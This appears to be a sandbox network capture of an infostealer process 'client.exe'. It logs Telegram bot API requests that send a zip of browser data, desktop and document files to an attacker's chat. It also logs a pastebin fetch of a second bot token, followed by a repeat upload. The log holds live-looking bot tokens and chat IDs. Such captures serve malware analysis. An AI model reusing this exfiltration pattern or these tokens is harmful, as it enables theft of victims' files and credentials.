Timestamp	Bytes transferred	Direction	Data
2024-09-14 03:42:13 UTC	171	OUT	GET /bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendMessage?chat_id=6099718241&text=%F0%9F%93%81%20Uploading%20Log%20Folders... HTTP/1.1 Host: api.telegram.org
2024-09-14 03:42:13 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 14 Sep 2024 03:42:13 GMT Content-Type: application/json Content-Length: 291 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-14 03:42:13 UTC	291	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 36 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 37 30 36 30 30 34 39 35 36 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 6f 74 20 44 61 74 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6b 69 65 75 64 7a 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 30 39 39 37 31 38 32 34 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 56 5c 75 30 31 30 33 6e 20 4b 69 5c 75 31 65 63 31 75 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 61 6e 4b 69 65 75 38 33 38 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 32 36 32 38 35 33 33 33 2c 22 74 65 78 74 22 3a 22 5c 75 64 38 Data Ascii: {"ok":true,"result":{"message_id":169,"from":{"id":6706004956,"is_bot":true,"first_name":"Bot Data","username":"kieudzbot"},"chat":{"id":6099718241,"first_name":"V\u0103n Ki\u1ec1u","username":"VanKieu8386","type":"private"},"date":1726285333,"text":"\ud8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49708	149.154.167.220	443	6548	C:\Users\user\Desktop\client.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-14 03:42:14 UTC	254	OUT	POST /bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendDocument?chat_id=6099718241 HTTP/1.1 Content-Type: multipart/form-data; boundary="a7f4e83a-1230-4485-8fb9-aa73c3bec301" Host: api.telegram.org Content-Length: 153239 Expect: 100-continue
2024-09-14 03:42:14 UTC	25	IN	HTTP/1.1 100 Continue
2024-09-14 03:42:14 UTC	40	OUT	Data Raw: 2d 2d 61 37 66 34 65 38 33 61 2d 31 32 33 30 2d 34 34 38 35 2d 38 66 62 39 2d 61 61 37 33 63 33 62 65 63 33 30 31 0d 0a Data Ascii: --a7f4e83a-1230-4485-8fb9-aa73c3bec301
2024-09-14 03:42:14 UTC	269	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 64 6f 63 75 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 3a 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 65 32 38 30 65 65 61 63 30 62 62 39 34 64 33 30 64 36 37 61 39 36 37 35 34 36 30 61 64 61 62 30 5c 61 6c 66 6f 6e 73 40 36 31 30 39 33 30 5f 65 6e 2d 43 48 2e 7a 69 70 22 3b 20 66 69 6c 65 6e 61 6d 65 2a 3d 75 74 66 2d 38 27 27 43 25 33 41 25 35 43 55 73 65 72 73 25 35 43 61 6c 66 6f 6e 73 25 35 43 41 70 70 44 61 74 61 25 35 43 4c 6f 63 61 6c 25 35 43 65 32 38 30 65 65 61 63 30 62 62 39 34 64 33 30 64 36 37 61 39 36 37 35 34 36 30 61 64 61 62 30 25 35 43 61 6c 66 6f 6e 73 25 34 30 36 31 30 39 33 30 Data Ascii: Content-Disposition: form-data; name=document; filename="C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH.zip"; filename*=utf-8''C%3A%5CUsers%5Cuser%5CAppData%5CLocal%5Ce280eeac0bb94d30d67a9675460adab0%5Cuser%40610930
2024-09-14 03:42:14 UTC	16355	OUT	Data Raw: 50 4b 03 04 14 00 00 00 00 00 e1 2b 2e 59 00 00 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 42 72 6f 77 73 65 72 73 5c 45 64 67 65 5c 50 4b 03 04 14 00 00 00 00 00 e1 2b 2e 59 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 42 72 6f 77 73 65 72 73 5c 47 6f 6f 67 6c 65 5c 50 4b 03 04 14 00 00 00 08 00 41 bd 2d 59 51 33 92 06 4a 00 00 00 69 00 00 00 1e 00 00 00 42 72 6f 77 73 65 72 73 5c 46 69 72 65 66 6f 78 5c 42 6f 6f 6b 6d 61 72 6b 73 2e 74 78 74 53 56 56 56 70 4f 2d 51 f0 48 cd 29 50 50 56 56 e6 02 62 05 e7 d2 e2 92 fc dc cc aa 54 05 b7 cc a2 d4 b4 fc 0a b8 0c 48 a9 67 5e 59 7e 4e 59 6a 0a 5c d0 31 29 bf b4 44 21 b4 18 59 55 49 66 5e ba 42 70 49 62 51 09 54 21 00 50 4b 03 04 14 00 00 00 08 00 41 bd 2d 59 63 c2 65 e7 53 00 00 00 5e 00 00 00 1c 00 00 00 42 Data Ascii: PK+.YBrowsers\Edge\PK+.YBrowsers\Google\PKA-YQ3JiBrowsers\Firefox\Bookmarks.txtSVVVpO-QH)PPVVbTHg^Y~NYj\1)D!YUIf^BpIbQT!PKA-YceS^B
2024-09-14 03:42:14 UTC	16355	OUT	Data Raw: 73 5c 61 6c 66 6f 6e 73 5c 44 65 73 6b 74 6f 70 5c 42 4a 5a 46 50 50 57 41 50 54 5c 45 57 5a 43 56 47 4e 4f 57 54 2e 70 64 66 15 93 c7 71 00 31 08 00 ff 9e 71 51 02 e5 00 ca 81 fe 0b f1 f9 07 1f c2 b2 98 23 b8 1d f1 99 d8 1d 2a ef 7c 50 fd 78 e8 a6 ad b3 8a 96 69 6c 62 99 20 49 fb e9 0e 17 2e b7 c5 8c 21 cf cd 37 ce 73 8d 74 bb 37 c7 a8 d7 45 21 3a 65 f9 36 5f f6 f6 55 66 b0 31 3b 71 7a 3c 51 83 ca 59 59 a7 5d 03 0c 30 a3 6d 86 33 23 86 86 d8 85 db 28 c6 8a 32 8c 36 d4 75 83 9f 9d 9f 4d 6d 4d 3b d4 3a 70 c2 88 7e ee d0 9a 31 21 ee e8 19 9c 70 f5 ba 43 c0 12 51 e2 4b 29 ee 0c 6b 78 f1 71 58 5d 9e 71 15 6c d7 c3 86 18 96 d2 e7 ad 63 07 5b d7 d0 82 15 df 8a 3e 3d 55 bb a9 6a d7 b4 ba ef d4 66 e8 d5 8d a9 c6 e9 15 df 9e 77 21 1b 38 c2 b6 47 11 20 4f 30 34 ed Data Ascii: s\user\Desktop\BJZFPPWAPT\EWZCVGNOWT.pdfq1qQ#*\|Pxilb I.!7st7E!:e6_Uf1;qz<QYY]0m3#(26uMmM;:p~1!pCQK)kxqX]qlc[>=Ujfw!8G O04
2024-09-14 03:42:14 UTC	16355	OUT	Data Raw: 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 44 6f 63 75 6d 65 6e 74 73 5c 47 52 58 5a 44 4b 4b 56 44 42 2e 64 6f 63 78 0d 93 59 8e 45 21 08 44 ff 3b 79 8b 52 11 67 05 27 d4 fd 2f a4 ef 6f 25 14 e4 54 e1 fa 79 90 d2 06 bd 5c 94 ad 36 d7 9c fc dc 12 b1 c8 52 01 dd 89 17 de 04 b8 ed 5d e5 01 c0 d7 e3 eb 1e b8 5f b4 25 8d 78 1c 28 ed e5 24 7e 86 8f 2e 19 9f c1 d7 dd a3 27 f7 56 3b 73 01 69 19 32 05 6c 3b 75 28 6c 65 59 9f c2 f4 d5 d5 3e fb 13 f6 58 34 58 33 27 27 04 bb eb f6 5a 91 a9 c5 c4 2a 12 26 6d 65 44 87 55 c9 5c 7c c9 c5 63 8a 16 a8 1e cc 06 e3 6c f2 97 88 ac 4b 64 a8 dc 67 53 37 cd 75 0f a8 ea 7e 08 9f f0 a4 a5 dc 43 5b 64 66 34 89 c9 9a 6d ad ab 33 47 79 2d f9 91 5e af 39 5a e0 6c b9 76 09 37 8f e3 47 dd 0e a7 81 d8 30 8e e1 54 7d 68 70 4c 58 74 b5 31 Data Ascii: \Users\user\Documents\GRXZDKKVDB.docxYE!D;yRg'/o%Ty\6R]_%x($~.'V;si2l;u(leY>X4X3''Z*&meDU\\|clKdgS7u~C[df4m3Gy-^9Zlv7G0T}hpLXt1
2024-09-14 03:42:14 UTC	16355	OUT	Data Raw: 8e 2a 35 37 de 7a 4f 6c 7c a3 ec 83 bb 4a c5 5a b5 71 cf 59 d0 37 f1 a5 da f9 6f 74 06 d1 c9 ee e5 fe fc 98 91 cc d3 c4 d6 bc e0 15 ed 92 d4 60 66 c9 45 57 ae 92 7a 0d 18 ea 9f 30 65 e6 4e 8d 7e 50 4b 03 04 14 00 00 00 08 00 54 4c 44 57 fe e7 85 70 bc 00 00 00 f8 01 00 00 3c 00 00 00 47 72 61 62 62 65 72 5c 44 52 49 56 45 2d 43 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 44 6f 63 75 6d 65 6e 74 73 5c 4d 79 20 56 69 64 65 6f 73 5c 64 65 73 6b 74 6f 70 2e 69 6e 69 ad 90 cd 0a 82 50 14 84 67 1d f4 18 ed 4a 32 a1 9f 85 10 04 41 10 2d aa 5d b5 08 b3 12 2c 43 0d aa 87 af be 2b 49 46 6d 84 38 78 3d 67 66 98 39 f7 3e ee 55 55 b4 90 a5 99 f6 f2 15 52 03 be b5 12 6a a4 a3 b6 8a b4 92 51 8d e9 3c 98 50 81 6e 68 37 9a 72 26 a0 67 c5 30 be 26 b0 07 fe ae fa aa e1 78 85 Data Ascii: *57zOl\|JZqY7ot`fEWz0eN~PKTLDWp<Grabber\DRIVE-C\Users\user\Documents\My Videos\desktop.iniPgJ2A-],C+IFm8x=gf9>UURjQ<Pnh7r&g0&x
2024-09-14 03:42:14 UTC	16355	OUT	Data Raw: b3 e3 4a 01 11 43 94 16 8d e7 a2 6a 16 d5 21 81 0f e6 24 77 a4 0f 57 4e 82 e4 c7 6e df 03 2f 64 cf 35 65 6e f8 7e 3f a5 43 9a 7c a0 7d f4 06 12 a0 89 e7 f1 c3 e7 e4 13 c0 49 40 3b 48 40 19 16 d0 31 d0 a2 c8 e5 75 04 fe c0 35 16 d3 a4 54 21 91 7e 08 03 a4 c0 3c 73 f3 17 43 38 21 4d e1 ef bb 73 46 db 8a 2c 02 1b c5 9b 3f 46 6f 77 ab 55 36 37 9d 1f 3b f4 39 0e 2d e1 67 b9 2b de 54 3a 83 4a 7f 19 ba c0 f7 66 e1 c0 d8 69 47 dc a8 db b3 f0 e7 af e2 1f 94 80 ba 6e 54 58 b8 5c 6c 7d 8f bf 71 81 96 f1 9c ab f2 64 a6 76 64 ab aa cd db 9e b2 cc 97 20 48 d8 43 e2 f6 0c c5 28 7e 12 d5 88 fc a5 6a ef e8 48 c0 70 2f 3d 71 45 cd f3 f8 30 c4 ac 98 c3 f4 45 81 93 b6 57 56 cc 72 a7 c0 db f5 c3 e1 07 5e 5f bd e3 3e f4 76 0e e6 5f 0f e0 10 6a e6 d8 dd 0a 00 31 93 59 3b bd 35 Data Ascii: JCj!$wWNn/d5en~?C\|}I@;H@1u5T!~<sC8!MsF,?FowU67;9-g+T:JfiGnTX\l}qdvd HC(~jHp/=qE0EWVr^_>v_j1Y;5
2024-09-14 03:42:14 UTC	16355	OUT	Data Raw: e1 2c 30 16 a8 5e 2e 67 10 a2 99 07 fc 93 80 ff d7 18 21 a9 79 63 60 62 55 20 27 3a e8 bd 8f 55 4c ad 24 0b d6 13 25 24 74 b2 04 1e 08 09 fa 30 14 03 21 44 d2 9a 53 30 78 20 91 70 f8 d2 a1 8e 32 43 f6 89 5d 2b 1e f0 31 e8 7d 80 c9 83 7b b2 2d a9 9a ad 0c 28 a1 0b 1c 8c 27 4b 63 12 7d 11 ed 89 4d 2d 62 a8 16 b0 4a 36 1a 20 0a f4 d8 45 b7 c0 64 99 28 c8 d1 bc 5a 78 40 9c 60 c0 65 89 63 1d 32 7f 48 2c 06 a3 d1 17 e1 2a d7 d4 5a ae a6 80 8d 7f d3 7a d0 2b 24 04 97 3f bc 6c 22 e1 91 43 ae fa 2d e3 2a 58 bb 1f 92 98 61 a9 c8 08 64 02 68 6f c3 a5 f3 7c 71 d2 84 1b 7d 37 f2 26 1a 36 30 22 c7 b2 80 14 63 1b 60 2f e4 9d d1 b0 3c d2 ed b5 3e ec 8b f8 0e 07 68 1c 23 35 ac 21 15 2b ca 3e 14 94 31 2b 9a 2c 7a c5 38 57 25 d0 b9 8a 8c 85 25 b9 69 38 85 e7 cf 6c 60 89 67 Data Ascii: ,0^.g!yc`bU ':UL$%$t0!DS0x p2C]+1}{-('Kc}M-bJ6 Ed(Zx@`ec2H,Zz+$?l"C-Xadho\|q}7&60"c`/<>h#5!+>1+,z8W%%i8l`g
2024-09-14 03:42:14 UTC	16355	OUT	Data Raw: a4 f1 8b f0 34 ac f6 90 d6 e6 de 3d 07 70 cf 99 c9 82 c9 d3 21 f5 f4 9d 24 59 e2 6e 19 4c 05 3b b2 b6 af 6f b7 38 74 95 5a 1c 5e 19 c7 03 86 1b f1 80 45 a5 5a 4e 89 69 29 43 47 fa ba cf 54 ea e5 5d 08 15 dc aa ea 79 5c dc ce 2b 5e 63 65 7a 3e e7 b5 3b 6d 87 e1 fc 59 73 c1 61 8a 7b 16 f3 96 bd 76 59 f5 0a b2 b2 24 e7 a1 ea fa 10 f6 ad 73 03 01 ab 5c bc b8 d7 71 df 0d 3d 37 1b 71 72 12 11 a7 6f 9f e2 01 bd d0 ba 00 69 3c 20 c1 bc 68 4b a6 27 58 f6 dd 87 9d 88 f9 97 12 1b ef 77 36 68 47 20 e5 31 b9 09 96 76 53 2c d5 47 4f 68 7e cd 48 f3 87 6c ae 15 c1 77 06 93 8d df 69 c2 cc 37 21 c3 42 9a f7 22 20 31 71 a0 ec 48 25 6d 4a c6 6e 69 fe c2 ca 4d bf d4 f5 8a a3 b0 df 5b 5d cc 6d 5f 92 9f 91 5b da e8 dc e0 cd 23 67 bc ec f5 43 26 a7 8a ef 10 a3 e6 ce db c5 eb e0 Data Ascii: 4=p!$YnL;o8tZ^EZNi)CGT]y\+^cez>;mYsa{vY$s\q=7qroi< hK'Xw6hG 1vS,GOh~Hlwi7!B" 1qH%mJniM[]m_[#gC&
2024-09-14 03:42:14 UTC	16355	OUT	Data Raw: b5 e1 ba ca d9 40 4a aa 78 7f 5c 16 7a 57 a1 e0 17 4f 5d b8 63 ee 82 67 89 e9 a9 90 0b 7c 89 4f 0a fd 37 9f 0f 12 f7 e9 2d 86 22 16 58 2b f0 4f 94 b7 69 0d 17 33 be 10 af 2e c3 75 1f b4 15 99 15 95 ff 39 78 54 ad f8 bb b6 8f 46 dd cd d9 9a 21 f0 f7 9d 3c af e7 f0 6f 97 a0 74 d1 65 cc 77 d6 e5 a8 13 1e 17 98 8f cc df 95 2a 40 60 32 86 a2 be 24 14 15 f4 b6 db 5e ae 51 bd 94 a7 f4 cd 6f 96 03 a4 ea a4 4d c9 d8 22 fa ba 10 be 42 f0 14 4e 3d df f7 2a da 6d d8 57 e6 37 3a c6 90 3f f5 f9 0a 2b 2a 24 32 5f dd f1 29 ee 13 f2 32 5f 63 9e f8 4a bd 7f 97 fd 4f 94 0e ba 3c af e4 e5 0d d4 9f b7 c9 a2 e9 b1 81 3f af 98 31 bf 94 95 a2 d3 8a fd c5 6c c3 29 7f 1f d7 63 b1 2a 39 5f e5 a8 f6 bc 3c d0 d9 c8 b9 d1 83 3e f4 7c ce 0e 53 5c 8c f1 83 91 26 97 cc d1 ef 83 86 3d a7 Data Ascii: @Jx\zWO]cg\|O7-"X+Oi3.u9xTF!<otew@`2$^QoM"BN=mW7:?+$2_)2_cJO<?1l)c9_<>\|S\&=
2024-09-14 03:42:16 UTC	895	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 14 Sep 2024 03:42:16 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":170,"from":{"id":6706004956,"is_bot":true,"first_name":"Bot Data","username":"kieudzbot"},"chat":{"id":6099718241,"first_name":"V\u0103n Ki\u1ec1u","username":"VanKieu8386","type":"private"},"date":1726285336,"document":{"file_name":"C_UsersuserAppDataLocale280eeac0bb94d30d67a9675460adab0user@.zip","mime_type":"application/zip","file_id":"BQACAgUAAxkDAAOqZuUGGGXPpzEjSUnrBKrbyn5Q1H0AAh0PAAJWmChXkybOreeQSNo2BA","file_unique_id":"AgADHQ8AAlaYKFc","file_size":152886}}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49711	104.20.3.235	443	6548	C:\Users\user\Desktop\client.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-14 03:42:16 UTC	74	OUT	GET /raw/7B75u64B HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-09-14 03:42:17 UTC	391	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 03:42:17 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Sat, 14 Sep 2024 03:42:17 GMT Server: cloudflare CF-RAY: 8c2d5dbbda808cb1-EWR
2024-09-14 03:42:17 UTC	52	IN	Data Raw: 32 65 0d 0a 35 33 39 30 37 35 37 37 38 38 3a 41 41 46 56 36 35 59 64 75 6e 39 4f 50 34 30 67 37 38 58 78 49 35 65 44 62 56 34 32 4b 71 48 59 35 6d 55 0d 0a Data Ascii: 2e5390757788:AAFV65Ydun9OP40g78XxI5eDbV42KqHY5mU
2024-09-14 03:42:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49716	149.154.167.220	443	6548	C:\Users\user\Desktop\client.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-14 03:42:18 UTC	254	OUT	POST /bot5390757788:AAFV65Ydun9OP40g78XxI5eDbV42KqHY5mU/sendDocument?chat_id=5283662956 HTTP/1.1 Content-Type: multipart/form-data; boundary="48fb546e-4352-4c90-bfcb-17480074267e" Host: api.telegram.org Content-Length: 153239 Expect: 100-continue
2024-09-14 03:42:18 UTC	25	IN	HTTP/1.1 100 Continue
2024-09-14 03:42:18 UTC	40	OUT	Data Raw: 2d 2d 34 38 66 62 35 34 36 65 2d 34 33 35 32 2d 34 63 39 30 2d 62 66 63 62 2d 31 37 34 38 30 30 37 34 32 36 37 65 0d 0a Data Ascii: --48fb546e-4352-4c90-bfcb-17480074267e
2024-09-14 03:42:18 UTC	269	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 64 6f 63 75 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 3a 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 65 32 38 30 65 65 61 63 30 62 62 39 34 64 33 30 64 36 37 61 39 36 37 35 34 36 30 61 64 61 62 30 5c 61 6c 66 6f 6e 73 40 36 31 30 39 33 30 5f 65 6e 2d 43 48 2e 7a 69 70 22 3b 20 66 69 6c 65 6e 61 6d 65 2a 3d 75 74 66 2d 38 27 27 43 25 33 41 25 35 43 55 73 65 72 73 25 35 43 61 6c 66 6f 6e 73 25 35 43 41 70 70 44 61 74 61 25 35 43 4c 6f 63 61 6c 25 35 43 65 32 38 30 65 65 61 63 30 62 62 39 34 64 33 30 64 36 37 61 39 36 37 35 34 36 30 61 64 61 62 30 25 35 43 61 6c 66 6f 6e 73 25 34 30 36 31 30 39 33 30 Data Ascii: Content-Disposition: form-data; name=document; filename="C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH.zip"; filename*=utf-8''C%3A%5CUsers%5Cuser%5CAppData%5CLocal%5Ce280eeac0bb94d30d67a9675460adab0%5Cuser%40610930
2024-09-14 03:42:18 UTC	16355	OUT	Data Raw: 50 4b 03 04 14 00 00 00 00 00 e1 2b 2e 59 00 00 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 42 72 6f 77 73 65 72 73 5c 45 64 67 65 5c 50 4b 03 04 14 00 00 00 00 00 e1 2b 2e 59 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 42 72 6f 77 73 65 72 73 5c 47 6f 6f 67 6c 65 5c 50 4b 03 04 14 00 00 00 08 00 41 bd 2d 59 51 33 92 06 4a 00 00 00 69 00 00 00 1e 00 00 00 42 72 6f 77 73 65 72 73 5c 46 69 72 65 66 6f 78 5c 42 6f 6f 6b 6d 61 72 6b 73 2e 74 78 74 53 56 56 56 70 4f 2d 51 f0 48 cd 29 50 50 56 56 e6 02 62 05 e7 d2 e2 92 fc dc cc aa 54 05 b7 cc a2 d4 b4 fc 0a b8 0c 48 a9 67 5e 59 7e 4e 59 6a 0a 5c d0 31 29 bf b4 44 21 b4 18 59 55 49 66 5e ba 42 70 49 62 51 09 54 21 00 50 4b 03 04 14 00 00 00 08 00 41 bd 2d 59 63 c2 65 e7 53 00 00 00 5e 00 00 00 1c 00 00 00 42 Data Ascii: PK+.YBrowsers\Edge\PK+.YBrowsers\Google\PKA-YQ3JiBrowsers\Firefox\Bookmarks.txtSVVVpO-QH)PPVVbTHg^Y~NYj\1)D!YUIf^BpIbQT!PKA-YceS^B
2024-09-14 03:42:18 UTC	16355	OUT	Data Raw: 73 5c 61 6c 66 6f 6e 73 5c 44 65 73 6b 74 6f 70 5c 42 4a 5a 46 50 50 57 41 50 54 5c 45 57 5a 43 56 47 4e 4f 57 54 2e 70 64 66 15 93 c7 71 00 31 08 00 ff 9e 71 51 02 e5 00 ca 81 fe 0b f1 f9 07 1f c2 b2 98 23 b8 1d f1 99 d8 1d 2a ef 7c 50 fd 78 e8 a6 ad b3 8a 96 69 6c 62 99 20 49 fb e9 0e 17 2e b7 c5 8c 21 cf cd 37 ce 73 8d 74 bb 37 c7 a8 d7 45 21 3a 65 f9 36 5f f6 f6 55 66 b0 31 3b 71 7a 3c 51 83 ca 59 59 a7 5d 03 0c 30 a3 6d 86 33 23 86 86 d8 85 db 28 c6 8a 32 8c 36 d4 75 83 9f 9d 9f 4d 6d 4d 3b d4 3a 70 c2 88 7e ee d0 9a 31 21 ee e8 19 9c 70 f5 ba 43 c0 12 51 e2 4b 29 ee 0c 6b 78 f1 71 58 5d 9e 71 15 6c d7 c3 86 18 96 d2 e7 ad 63 07 5b d7 d0 82 15 df 8a 3e 3d 55 bb a9 6a d7 b4 ba ef d4 66 e8 d5 8d a9 c6 e9 15 df 9e 77 21 1b 38 c2 b6 47 11 20 4f 30 34 ed Data Ascii: s\user\Desktop\BJZFPPWAPT\EWZCVGNOWT.pdfq1qQ#*\|Pxilb I.!7st7E!:e6_Uf1;qz<QYY]0m3#(26uMmM;:p~1!pCQK)kxqX]qlc[>=Ujfw!8G O04
2024-09-14 03:42:18 UTC	16355	OUT	Data Raw: 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 44 6f 63 75 6d 65 6e 74 73 5c 47 52 58 5a 44 4b 4b 56 44 42 2e 64 6f 63 78 0d 93 59 8e 45 21 08 44 ff 3b 79 8b 52 11 67 05 27 d4 fd 2f a4 ef 6f 25 14 e4 54 e1 fa 79 90 d2 06 bd 5c 94 ad 36 d7 9c fc dc 12 b1 c8 52 01 dd 89 17 de 04 b8 ed 5d e5 01 c0 d7 e3 eb 1e b8 5f b4 25 8d 78 1c 28 ed e5 24 7e 86 8f 2e 19 9f c1 d7 dd a3 27 f7 56 3b 73 01 69 19 32 05 6c 3b 75 28 6c 65 59 9f c2 f4 d5 d5 3e fb 13 f6 58 34 58 33 27 27 04 bb eb f6 5a 91 a9 c5 c4 2a 12 26 6d 65 44 87 55 c9 5c 7c c9 c5 63 8a 16 a8 1e cc 06 e3 6c f2 97 88 ac 4b 64 a8 dc 67 53 37 cd 75 0f a8 ea 7e 08 9f f0 a4 a5 dc 43 5b 64 66 34 89 c9 9a 6d ad ab 33 47 79 2d f9 91 5e af 39 5a e0 6c b9 76 09 37 8f e3 47 dd 0e a7 81 d8 30 8e e1 54 7d 68 70 4c 58 74 b5 31 Data Ascii: \Users\user\Documents\GRXZDKKVDB.docxYE!D;yRg'/o%Ty\6R]_%x($~.'V;si2l;u(leY>X4X3''Z*&meDU\\|clKdgS7u~C[df4m3Gy-^9Zlv7G0T}hpLXt1
2024-09-14 03:42:18 UTC	16355	OUT	Data Raw: 8e 2a 35 37 de 7a 4f 6c 7c a3 ec 83 bb 4a c5 5a b5 71 cf 59 d0 37 f1 a5 da f9 6f 74 06 d1 c9 ee e5 fe fc 98 91 cc d3 c4 d6 bc e0 15 ed 92 d4 60 66 c9 45 57 ae 92 7a 0d 18 ea 9f 30 65 e6 4e 8d 7e 50 4b 03 04 14 00 00 00 08 00 54 4c 44 57 fe e7 85 70 bc 00 00 00 f8 01 00 00 3c 00 00 00 47 72 61 62 62 65 72 5c 44 52 49 56 45 2d 43 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 44 6f 63 75 6d 65 6e 74 73 5c 4d 79 20 56 69 64 65 6f 73 5c 64 65 73 6b 74 6f 70 2e 69 6e 69 ad 90 cd 0a 82 50 14 84 67 1d f4 18 ed 4a 32 a1 9f 85 10 04 41 10 2d aa 5d b5 08 b3 12 2c 43 0d aa 87 af be 2b 49 46 6d 84 38 78 3d 67 66 98 39 f7 3e ee 55 55 b4 90 a5 99 f6 f2 15 52 03 be b5 12 6a a4 a3 b6 8a b4 92 51 8d e9 3c 98 50 81 6e 68 37 9a 72 26 a0 67 c5 30 be 26 b0 07 fe ae fa aa e1 78 85 Data Ascii: *57zOl\|JZqY7ot`fEWz0eN~PKTLDWp<Grabber\DRIVE-C\Users\user\Documents\My Videos\desktop.iniPgJ2A-],C+IFm8x=gf9>UURjQ<Pnh7r&g0&x
2024-09-14 03:42:18 UTC	16355	OUT	Data Raw: b3 e3 4a 01 11 43 94 16 8d e7 a2 6a 16 d5 21 81 0f e6 24 77 a4 0f 57 4e 82 e4 c7 6e df 03 2f 64 cf 35 65 6e f8 7e 3f a5 43 9a 7c a0 7d f4 06 12 a0 89 e7 f1 c3 e7 e4 13 c0 49 40 3b 48 40 19 16 d0 31 d0 a2 c8 e5 75 04 fe c0 35 16 d3 a4 54 21 91 7e 08 03 a4 c0 3c 73 f3 17 43 38 21 4d e1 ef bb 73 46 db 8a 2c 02 1b c5 9b 3f 46 6f 77 ab 55 36 37 9d 1f 3b f4 39 0e 2d e1 67 b9 2b de 54 3a 83 4a 7f 19 ba c0 f7 66 e1 c0 d8 69 47 dc a8 db b3 f0 e7 af e2 1f 94 80 ba 6e 54 58 b8 5c 6c 7d 8f bf 71 81 96 f1 9c ab f2 64 a6 76 64 ab aa cd db 9e b2 cc 97 20 48 d8 43 e2 f6 0c c5 28 7e 12 d5 88 fc a5 6a ef e8 48 c0 70 2f 3d 71 45 cd f3 f8 30 c4 ac 98 c3 f4 45 81 93 b6 57 56 cc 72 a7 c0 db f5 c3 e1 07 5e 5f bd e3 3e f4 76 0e e6 5f 0f e0 10 6a e6 d8 dd 0a 00 31 93 59 3b bd 35 Data Ascii: JCj!$wWNn/d5en~?C\|}I@;H@1u5T!~<sC8!MsF,?FowU67;9-g+T:JfiGnTX\l}qdvd HC(~jHp/=qE0EWVr^_>v_j1Y;5
2024-09-14 03:42:18 UTC	16355	OUT	Data Raw: e1 2c 30 16 a8 5e 2e 67 10 a2 99 07 fc 93 80 ff d7 18 21 a9 79 63 60 62 55 20 27 3a e8 bd 8f 55 4c ad 24 0b d6 13 25 24 74 b2 04 1e 08 09 fa 30 14 03 21 44 d2 9a 53 30 78 20 91 70 f8 d2 a1 8e 32 43 f6 89 5d 2b 1e f0 31 e8 7d 80 c9 83 7b b2 2d a9 9a ad 0c 28 a1 0b 1c 8c 27 4b 63 12 7d 11 ed 89 4d 2d 62 a8 16 b0 4a 36 1a 20 0a f4 d8 45 b7 c0 64 99 28 c8 d1 bc 5a 78 40 9c 60 c0 65 89 63 1d 32 7f 48 2c 06 a3 d1 17 e1 2a d7 d4 5a ae a6 80 8d 7f d3 7a d0 2b 24 04 97 3f bc 6c 22 e1 91 43 ae fa 2d e3 2a 58 bb 1f 92 98 61 a9 c8 08 64 02 68 6f c3 a5 f3 7c 71 d2 84 1b 7d 37 f2 26 1a 36 30 22 c7 b2 80 14 63 1b 60 2f e4 9d d1 b0 3c d2 ed b5 3e ec 8b f8 0e 07 68 1c 23 35 ac 21 15 